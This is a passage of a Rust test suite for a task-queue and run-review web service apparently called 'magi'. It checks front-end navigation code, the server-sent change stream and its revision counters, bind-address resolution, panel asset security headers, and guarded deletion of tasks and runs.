13018 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13022 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13023 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13024 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13025
13026 assert!(APP_JS.contains("sandbox: \"\""));
13028 assert!(!APP_JS.contains("sandbox: \"allow"));
13029 }
13030
13031 #[test]
13032 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13033 assert!(
13042 APP_JS.contains(
13043 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13044 ),
13045 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13046 recursive renderQueue() call has nothing left to jump to"
13047 );
13048 assert!(
13049 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13050 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13051 arrives later still gets it"
13052 );
13053 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13054 assert!(APP_JS.contains("is not in the current Backlog."));
13055 assert!(APP_JS.contains("li.card[data-task-id=\""));
13056 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13057 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13058 assert!(APP_CSS.contains(".card-permalink"));
13059 assert!(APP_CSS.contains(".queue-focus-status"));
13060 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
13061 }
13062
13063 #[test]
13064 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13065 assert!(
13073 APP_JS.contains(
13074 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13075 ),
13076 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13077 );
13078 }
13079
13080 #[test]
13081 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13082 assert!(
13083 APP_JS.contains("round.verified_head !== round.head"),
13084 "a round that verified an earlier commit must be visibly distinct from one that \
13085 verified the head reviewers are looking at now"
13086 );
13087 assert!(
13088 APP_JS.contains("round.verified_at"),
13089 "when a check ran must be on the wire, not just which commit"
13090 );
13091 assert!(
13092 APP_JS.contains("resource_blocked"),
13093 "a command magi never got to run (shared build cache contention) must not render \
13094 the same as a command that ran and failed"
13095 );
13096 }
13097
13098 #[test]
13099 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13100 assert!(
13108 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13109 "every KPI tile built through statusTile() must route its click through \
13110 openRunsFiltered, the single place that sets the Runs filter"
13111 );
13112 for (label, status) in [
13113 ("Merged", "merged"),
13114 ("Ready", "ready"),
13115 ("Blocked", "blocked"),
13116 ("Stalled", "stalled"),
13117 ] {
13118 let call = format!("statusTile(\"{label}\", t.{status}, ");
13119 assert!(
13120 APP_JS.contains(&call),
13121 "expected the {label} KPI tile built via {call}..."
13122 );
13123 assert!(
13124 APP_JS.contains(&format!("status === \"{status}\"")),
13125 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13126 compare a run against, not one invented only for the stats tile"
13127 );
13128 }
13129 assert!(
13130 APP_JS.contains("function openRunsFiltered(status)"),
13131 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13132 );
13133 assert!(
13134 APP_JS.contains(
13135 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13136 ),
13137 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13138 );
13139 assert!(
13147 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13148 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13149 hashchange event that may never fire"
13150 );
13151 }
13152
13153 #[test]
13154 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13155 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13161 assert!(
13162 APP_JS.contains(
13163 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13164 ),
13165 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13166 guard for an incompatible tree section"
13167 );
13168 }
13169
13170 #[test]
13171 fn every_stats_queue_tile_names_a_real_queue_section() {
13172 assert!(
13178 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13179 "every queue tile built through sectionTile() must route its click through \
13180 openQueueSectionFocus"
13181 );
13182 for key in ["upnext", "running", "done", "held", "blocked"] {
13183 assert!(
13184 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13185 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13186 );
13187 }
13188 for line in [
13192 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13193 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13194 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13195 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13196 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13197 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13198 ] {
13199 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13200 }
13201 }
13202
13203 #[test]
13204 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13205 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13212 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13213 assert!(APP_JS.contains("function revealQueueSection(details)"));
13214 assert!(
13215 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13216 "renderQueue() must consume both focus channels on every pass"
13217 );
13218 assert!(
13219 APP_JS.contains(
13220 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13221 ),
13222 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13223 the recursive renderQueue() call has nothing left to reveal"
13224 );
13225 assert!(
13226 APP_JS.contains(
13227 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13228 ),
13229 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13230 );
13231 assert!(
13239 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13240 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13241 hashchange event that may never fire"
13242 );
13243 }
13244
13245 #[tokio::test]
13246 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13247 let f = Fixture::start().await;
13248
13249 let mut socket = tokio::net::TcpStream::connect(f.addr)
13250 .await
13251 .expect("connect");
13252 socket
13253 .write_all(
13254 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13255 )
13256 .await
13257 .expect("write request");
13258
13259 let mut seen = String::new();
13262 let mut buf = [0u8; 1024];
13263 while !seen.contains("event: change") {
13264 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13265 .await
13266 .expect("the stream must speak within five seconds")
13267 .expect("read");
13268 assert!(read > 0, "the server closed the change stream: {seen}");
13269 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13270 }
13271
13272 assert!(
13273 seen.to_lowercase()
13274 .contains("content-type: text/event-stream"),
13275 "the browser only reconnects automatically for a real SSE stream: {seen}"
13276 );
13277 let data = seen
13278 .lines()
13279 .find_map(|l| l.strip_prefix("data:"))
13280 .expect("a data line");
13281 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13282 assert!(
13283 payload["queue_rev"].is_u64()
13284 && payload["runs_rev"].is_u64()
13285 && payload["questions_rev"].is_u64()
13286 && payload["talks_rev"].is_u64()
13287 && payload["notifications_rev"].is_u64()
13288 && payload["loop_rev"].is_u64(),
13289 "the client needs one revision per store to know what to refetch, \
13290 and `talks_rev` is the only notification a standing talk gets - a \
13291 phone whose radio slept through a turn learns about it here, as \
13292 does one whose operator started the loop from another device: \
13293 {payload}"
13294 );
13295
13296 let health = f.get("/api/health").await.json();
13303 for key in [
13304 "queue_rev",
13305 "runs_rev",
13306 "questions_rev",
13307 "talks_rev",
13308 "notifications_rev",
13309 "loop_rev",
13310 ] {
13311 assert!(
13312 health[key].is_u64(),
13313 "health is the change stream's fallback and is missing `{key}`: {health}"
13314 );
13315 }
13316 }
13317
13318 #[tokio::test]
13319 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13320 let f = Fixture::start().await;
13321 let before = f.get("/api/health").await.json()["talks_rev"]
13322 .as_u64()
13323 .expect("talks_rev");
13324
13325 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13326 std::thread::sleep(Duration::from_millis(10));
13327 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13328 on_disk.turns.push(crate::talk::Turn {
13329 who: crate::talk::Who::Operator,
13330 body: "a new turn".to_owned(),
13331 at: Timestamp::now(),
13332 attachments: Vec::new(),
13333 usage: None,
13334 });
13335 f.talks().put(&mut on_disk).expect("record a turn");
13336
13337 let after = f.get("/api/health").await.json()["talks_rev"]
13338 .as_u64()
13339 .expect("talks_rev");
13340 assert_ne!(
13341 before, after,
13342 "a phone must be able to notice a talk's reply without polling every store"
13343 );
13344 }
13345
13346 #[test]
13347 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13348 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13352 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13353 }
13354 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13355 assert!("everywhere".parse::<Bind>().is_err());
13356 }
13357
13358 #[test]
13359 fn an_explicit_bind_address_is_taken_verbatim() {
13360 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13361
13362 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13363
13364 assert_eq!(addr, asked);
13365 assert!(
13366 warning.is_none(),
13367 "an operator who named an address gets no lecture"
13368 );
13369 }
13370
13371 #[test]
13372 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13373 let (addr, warning) = resolve_bind(&Bind::Auto);
13374
13375 match addr {
13382 IpAddr::V4(ip) if is_tailnet(&ip) => {
13383 assert!(warning.is_none(), "a tailnet address needs no warning");
13384 }
13385 other => {
13386 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13387 let warning = warning.expect("a fallback has to explain itself");
13388 assert!(
13389 warning.contains("127.0.0.1") && warning.contains("local-only"),
13390 "the warning says what happened and what it costs: {warning}"
13391 );
13392 }
13393 }
13394 }
13395
13396 #[test]
13397 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13398 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13402 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13403 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13404 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13405 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13406 }
13407
13408 #[test]
13409 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13410 let ids = vec![
13411 "20260902-140501-aaaa".to_owned(),
13412 "20260902-140502-aabb".to_owned(),
13413 ];
13414
13415 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13416 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13417 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13418
13419 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13420 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13421 assert_eq!(short, "20260902-140502-aabb");
13422 }
13423 #[tokio::test]
13424 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13425 let fx = Fixture::start().await;
13431 let id = panel(
13432 &fx,
13433 "<img src=\"shot.png\">",
13434 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13435 );
13436
13437 let doc = fx
13439 .get(&format!("/api/questions/{id}/panel/index.html"))
13440 .await;
13441 assert_eq!(doc.status, 200, "{}", doc.body);
13442 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13443
13444 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13445 assert_eq!(sibling.status, 200, "{}", sibling.body);
13446 assert_eq!(sibling.header("content-type"), Some("image/png"));
13447 assert_eq!(
13448 sibling.header("content-security-policy"),
13449 Some(PANEL_CSP),
13450 "the sibling route must carry the same policy as the asset route"
13451 );
13452
13453 assert_eq!(
13456 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13457 200
13458 );
13459 }
13460
13461 #[test]
13462 fn delta_stamps_cover_add_update_remove_and_noop() {
13463 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13464 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13465 let delta = diff_stamps(&before, &after, 42);
13466 assert_eq!(delta.base, 42);
13467 assert_eq!(delta.changed, ["b", "c"]);
13468 assert_eq!(delta.removed, ["a"]);
13469 let same = diff_stamps(&after, &after, 43);
13470 assert!(same.changed.is_empty() && same.removed.is_empty());
13471 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13472 let nanos: Stamps = [("b".into(), (2, 20))].into();
13473 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13474 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13475 assert_eq!(stamps_revision(&Stamps::new()), 0);
13476 }
13477
13478 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13479 std::fs::create_dir_all(home.join("runs")).unwrap();
13480 Arc::new(Ui::new(
13481 Queue::at(home.join("queue")),
13482 Questions::at(home.join("questions")),
13483 Talks::at(home.join("talks")),
13484 home.join("runs"),
13485 home.to_owned(),
13486 PathBuf::from("/repo/magi"),
13487 ))
13488 }
13489
13490 #[tokio::test]
13491 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13492 let home = TempDir::new().unwrap();
13493 let ui = delta_test_ui(home.path());
13494 let mut task = Task::new(
13495 "stream task".into(),
13496 "text".into(),
13497 PathBuf::from("/repo"),
13498 Source::Human,
13499 );
13500 ui.queue.put(&mut task).unwrap();
13501 let response = events(State(ui.clone())).await.into_response();
13502 let mut stream = response.into_body().into_data_stream();
13503 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13504 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13505 .await
13506 .unwrap()
13507 .unwrap()
13508 .unwrap();
13509 let text = String::from_utf8(chunk.to_vec()).unwrap();
13510 let data = text
13511 .lines()
13512 .find_map(|line| {
13513 line.strip_prefix("data: ")
13514 .or_else(|| line.strip_prefix("data:"))
13515 })
13516 .unwrap();
13517 serde_json::from_str(data).unwrap()
13518 }
13519 let initial = change(&mut stream).await;
13520 assert!(initial.get("queue_delta").is_none());
13521 task.instruction.push_str(" changed");
13522 ui.queue.put(&mut task).unwrap();
13523 let updated = change(&mut stream).await;
13524 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13525 assert_eq!(
13526 updated["queue_delta"]["changed"],
13527 serde_json::json!([task.id])
13528 );
13529 assert_eq!(
13530 updated["queue_rev"].as_u64(),
13531 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13532 );
13533 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13534 let removed = change(&mut stream).await;
13535 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13536 assert_eq!(
13537 removed["queue_delta"]["removed"],
13538 serde_json::json!([task.id])
13539 );
13540 }
13541
13542 #[tokio::test]
13543 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13544 let home = TempDir::new().unwrap();
13545 let ui = delta_test_ui(home.path());
13546 let queue = ui.queue.clone();
13547 let query = |ids: Option<&str>| {
13548 Query(ListQuery {
13549 limit: Some(2),
13550 ids: ids.map(str::to_owned),
13551 })
13552 };
13553 let mut root = Task::new(
13554 "root".into(),
13555 "instruction".into(),
13556 PathBuf::from("/repo"),
13557 Source::Human,
13558 );
13559 queue.put(&mut root).unwrap();
13560 let mut blocked = Task::new(
13561 "blocked".into(),
13562 "instruction".into(),
13563 PathBuf::from("/repo"),
13564 Source::Human,
13565 );
13566 blocked.block(vec![root.id.clone()], None);
13567 queue.put(&mut blocked).unwrap();
13568 let whole =
13569 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13570 .unwrap();
13571 let subset = serde_json::to_value(
13572 queue_list(State(ui.clone()), query(Some(&root.id)))
13573 .await
13574 .unwrap()
13575 .0,
13576 )
13577 .unwrap();
13578 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13579 let blockers = serde_json::to_value(
13580 queue_list(State(ui.clone()), query(Some("")))
13581 .await
13582 .unwrap()
13583 .0,
13584 )
13585 .unwrap();
13586 assert_eq!(blockers.as_array().unwrap().len(), 1);
13587 assert_eq!(blockers[0]["id"], blocked.id);
13588 assert_eq!(
13589 blockers[0]["waits_on"],
13590 whole
13591 .as_array()
13592 .unwrap()
13593 .iter()
13594 .find(|row| row["id"] == blocked.id)
13595 .unwrap()["waits_on"]
13596 );
13597
13598 for id in [
13599 "20260902-140501-aaaa",
13600 "20260902-140502-bbbb",
13601 "20260902-140503-cccc",
13602 ] {
13603 write_run(&ui.runs, id, RunStatus::Merged);
13604 }
13605 let old = serde_json::to_value(
13606 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13607 .await
13608 .unwrap()
13609 .0,
13610 )
13611 .unwrap();
13612 assert!(
13613 old.as_array().unwrap().is_empty(),
13614 "older updates must not enter the window"
13615 );
13616 let newest = serde_json::to_value(
13617 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13618 .await
13619 .unwrap()
13620 .0,
13621 )
13622 .unwrap();
13623 assert_eq!(newest.as_array().unwrap().len(), 1);
13624 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13625
13626 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13627 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13628 let talks = serde_json::to_value(
13629 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13630 .await
13631 .unwrap()
13632 .0,
13633 )
13634 .unwrap();
13635 assert_eq!(talks.as_array().unwrap().len(), 1);
13636 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13637 assert_eq!(
13638 serde_json::to_value(
13639 talks_list(State(ui.clone()), query(Some("")))
13640 .await
13641 .unwrap()
13642 .0
13643 )
13644 .unwrap(),
13645 serde_json::json!([])
13646 );
13647 }
13648
13649 #[tokio::test]
13650 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13651 async fn delta_payload_benchmark() {
13652 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13653 let ui = delta_test_ui(&home);
13654 let query = |ids: Option<String>| {
13655 Query(ListQuery {
13656 limit: Some(50),
13657 ids,
13658 })
13659 };
13660 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13661 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13662 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13663 let queue_id = queue
13664 .iter()
13665 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13666 .unwrap_or(&queue[0])
13667 .task
13668 .id
13669 .clone();
13670 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13671 .await
13672 .unwrap()
13673 .0;
13674 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13675 .await
13676 .unwrap()
13677 .0;
13678 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13679 .await
13680 .unwrap()
13681 .0;
13682 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13683 eprintln!(
13684 "DELTA_PAYLOAD {}",
13685 serde_json::json!({
13686 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13687 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13688 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13689 "counts": [queue.len(), runs.len(), talks.len()],
13690 "blocked": queue_delta.len() - 1,
13691 })
13692 );
13693 }
13694
13695 #[test]
13696 fn runs_revision_moves_when_deleting_an_older_run() {
13697 let temp = TempDir::new().expect("tempdir");
13698 let runs = temp.path().join("runs");
13699 std::fs::create_dir_all(&runs).expect("create runs dir");
13700
13701 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13702
13703 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13704 std::thread::sleep(Duration::from_millis(10));
13705 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13706
13707 let rev_before = runs_revision(&runs);
13708 assert!(rev_before > 0);
13709
13710 let old_dir = runs.join("20260901-100000-old1");
13711 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13712
13713 let rev_after = runs_revision(&runs);
13714 assert_ne!(
13715 rev_before, rev_after,
13716 "deleting an older run must change the revision so other clients see the deletion"
13717 );
13718 }
13719
13720 fn write_state(runs: &FsPath, state: &RunState) {
13725 let dir = runs.join(&state.id);
13726 std::fs::create_dir_all(&dir).expect("run dir");
13727 std::fs::write(
13728 dir.join("run.json"),
13729 serde_json::to_string_pretty(state).expect("serialize run"),
13730 )
13731 .expect("write run.json");
13732 }
13733
13734 #[test]
13739 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13740 let temp = TempDir::new().expect("tempdir");
13741 let runs = temp.path().join("runs");
13742 std::fs::create_dir_all(&runs).expect("create runs dir");
13743 let mut state = RunState::new(
13744 PathBuf::from("/repo/magi"),
13745 "main".to_owned(),
13746 "0123456789abcdef".to_owned(),
13747 "task".to_owned(),
13748 Config::default(),
13749 );
13750 state.id = "20260902-100000-c0de".to_owned();
13751 write_state(&runs, &state);
13752
13753 let rev_idle = runs_revision(&runs);
13754 std::thread::sleep(Duration::from_millis(10));
13755 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13756 write_state(&runs, &state);
13757 let rev_started = runs_revision(&runs);
13758 assert_ne!(
13759 rev_idle, rev_started,
13760 "a seat starting must move the revision"
13761 );
13762
13763 std::thread::sleep(Duration::from_millis(10));
13764 state.seat_finished("judge-1");
13765 write_state(&runs, &state);
13766 let rev_finished = runs_revision(&runs);
13767 assert_ne!(
13768 rev_started, rev_finished,
13769 "and clearing it again must move the revision a second time"
13770 );
13771 }
13772
13773 #[tokio::test]
13774 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13775 let fx = Fixture::start().await;
13780 let q = fx.queue();
13781
13782 let mut t = Task::new(
13783 "Task".to_owned(),
13784 "Instruction".to_owned(),
13785 PathBuf::from("/repo"),
13786 Source::Human,
13787 );
13788 t.block(
13789 vec!["20260101-000000-dead".to_owned()],
13790 Some("waiting on Task 1".to_owned()),
13791 );
13792 t.answers.push(crate::queue::AnsweredQuestion {
13793 question: "Which backend?".to_owned(),
13794 answer: "SQLite".to_owned(),
13795 });
13796 q.put(&mut t).expect("put t");
13797
13798 let res = fx.get("/api/queue").await;
13799 assert_eq!(res.status, 200);
13800 let list = res.json();
13801 let view = list
13802 .as_array()
13803 .expect("array")
13804 .iter()
13805 .find(|v| v["id"] == t.id)
13806 .expect("task in list");
13807 assert_eq!(view["status_str"], "blocked");
13808 assert_eq!(
13809 view["blocked_by"],
13810 serde_json::json!(["20260101-000000-dead"])
13811 );
13812 assert_eq!(view["block_reason"], "waiting on Task 1");
13813 assert_eq!(view["answers"][0]["question"], "Which backend?");
13814 assert_eq!(view["answers"][0]["answer"], "SQLite");
13815
13816 let res = fx
13820 .post(&format!("/api/queue/{}/hold", t.short()), None)
13821 .await;
13822 assert_eq!(res.status, 200);
13823 let held = res.json();
13824 assert_eq!(held["status_str"], "held");
13825 assert_eq!(held["blocked_by"], serde_json::json!([]));
13826 assert!(held["block_reason"].is_null());
13827 assert_eq!(held["answers"][0]["answer"], "SQLite");
13828 }
13829
13830 #[tokio::test]
13831 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13832 let fx = Fixture::start().await;
13833 let q = fx.queue();
13834 let mk = |title: &str| {
13835 Task::new(
13836 title.to_owned(),
13837 "Instruction".to_owned(),
13838 PathBuf::from("/repo"),
13839 Source::Human,
13840 )
13841 };
13842 let mut root = mk("root");
13843 root.hold_manual(Some("waiting".to_owned()));
13844 q.put(&mut root).unwrap();
13845 let mut mid = mk("mid");
13846 mid.block(vec![root.id.clone()], None);
13847 q.put(&mut mid).unwrap();
13848 let mut leaf = mk("leaf");
13849 leaf.block(vec![mid.id.clone()], None);
13850 q.put(&mut leaf).unwrap();
13851
13852 let list = fx.get("/api/queue").await.json();
13853 let find = |id: &str| {
13854 list.as_array()
13855 .unwrap()
13856 .iter()
13857 .find(|v| v["id"] == id)
13858 .unwrap()
13859 .clone()
13860 };
13861 let leaf_view = find(&leaf.id);
13862 assert_eq!(
13863 leaf_view["waits_on"],
13864 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13865 );
13866 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13867 assert_eq!(
13868 find(&mid.id)["waits_on"],
13869 serde_json::json!([format!("{} (held)", root.short())])
13870 );
13871 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13872 }
13873
13874 #[tokio::test]
13875 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13876 let fx = Fixture::start().await;
13877 let q = fx.queue();
13878
13879 let mut t1 = Task::new(
13881 "Task 1".to_owned(),
13882 "Instruction 1".to_owned(),
13883 PathBuf::from("/repo"),
13884 Source::Human,
13885 );
13886 let run_id = "20260901-000000-r111";
13887 t1.runs.push(run_id.to_owned());
13888 write_run(&fx.runs(), run_id, RunStatus::Merged);
13889 q.put(&mut t1).expect("put t1");
13890
13891 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13893 assert_eq!(res.status, 204);
13894 assert!(res.body.is_empty(), "204 No Content has no body");
13895 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13896 assert!(
13897 fx.runs().join(run_id).exists(),
13898 "run directory must not be deleted when its task is deleted"
13899 );
13900
13901 let mut t2 = Task::new(
13903 "Task 2".to_owned(),
13904 "Instruction 2".to_owned(),
13905 PathBuf::from("/repo"),
13906 Source::Human,
13907 );
13908 t2.status = TaskStatus::Running;
13909 q.put(&mut t2).expect("put t2");
13910 let mut beat = crate::daemon::Status::new();
13911 beat.current = vec![crate::daemon::Current {
13912 task: t2.id.clone(),
13913 run: "20260901-000000-r222".to_owned(),
13914 }];
13915 beat.updated_at = jiff::Timestamp::now();
13916 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13917 .expect("publish a heartbeat");
13918 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13919 assert_eq!(res.status, 409);
13920 assert!(
13921 res.json()["error"]
13922 .as_str()
13923 .unwrap()
13924 .contains("live daemon")
13925 );
13926 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13927
13928 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13934 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13935 .expect("leave a stale heartbeat");
13936 let mut t3 = Task::new(
13937 "Task 3".to_owned(),
13938 "Instruction 3".to_owned(),
13939 PathBuf::from("/repo"),
13940 Source::Human,
13941 );
13942 t3.status = TaskStatus::Running;
13943 q.put(&mut t3).expect("put t3");
13944 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13945 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13946 assert_eq!(res.status, 204);
13947 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13948 assert!(
13949 q.claim(&t3.id).is_ok(),
13950 "the stale lock went with it, so the id is claimable again"
13951 );
13952
13953 let res = fx.delete("/api/queue/nonexistent").await;
13955 assert_eq!(res.status, 404);
13956 }
13957
13958 #[tokio::test]
13959 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13960 let fx = Fixture::start().await;
13961 let runs = fx.runs();
13962
13963 let run_id = "20260901-000000-fold";
13965 let mut state = RunState::new(
13966 PathBuf::from("/repo"),
13967 "main".to_owned(),
13968 "abc".to_owned(),
13969 "instruction".to_owned(),
13970 Config::default(),
13971 );
13972 state.id = run_id.to_owned();
13973 state.status = RunStatus::Merged;
13974 state.candidates.push(crate::run::Candidate {
13975 index: 0,
13976 label: 'A',
13977 agent: "a".to_owned(),
13978 branch: "b".to_owned(),
13979 worktree: PathBuf::from("/w"),
13980 summary: String::new(),
13981 stat: String::new(),
13982 files: 1,
13983 commits: 1,
13984 empty: false,
13985 failed: None,
13986 verified_noop: None,
13987 duration_ms: 0,
13988 folded: true,
13989 });
13990 let dir = runs.join(run_id);
13991 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13992 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13993 .expect("write artifact");
13994 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13995 .expect("write run.json");
13996
13997 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13999 assert_eq!(res.status, 204);
14000 assert!(res.body.is_empty(), "204 has no body");
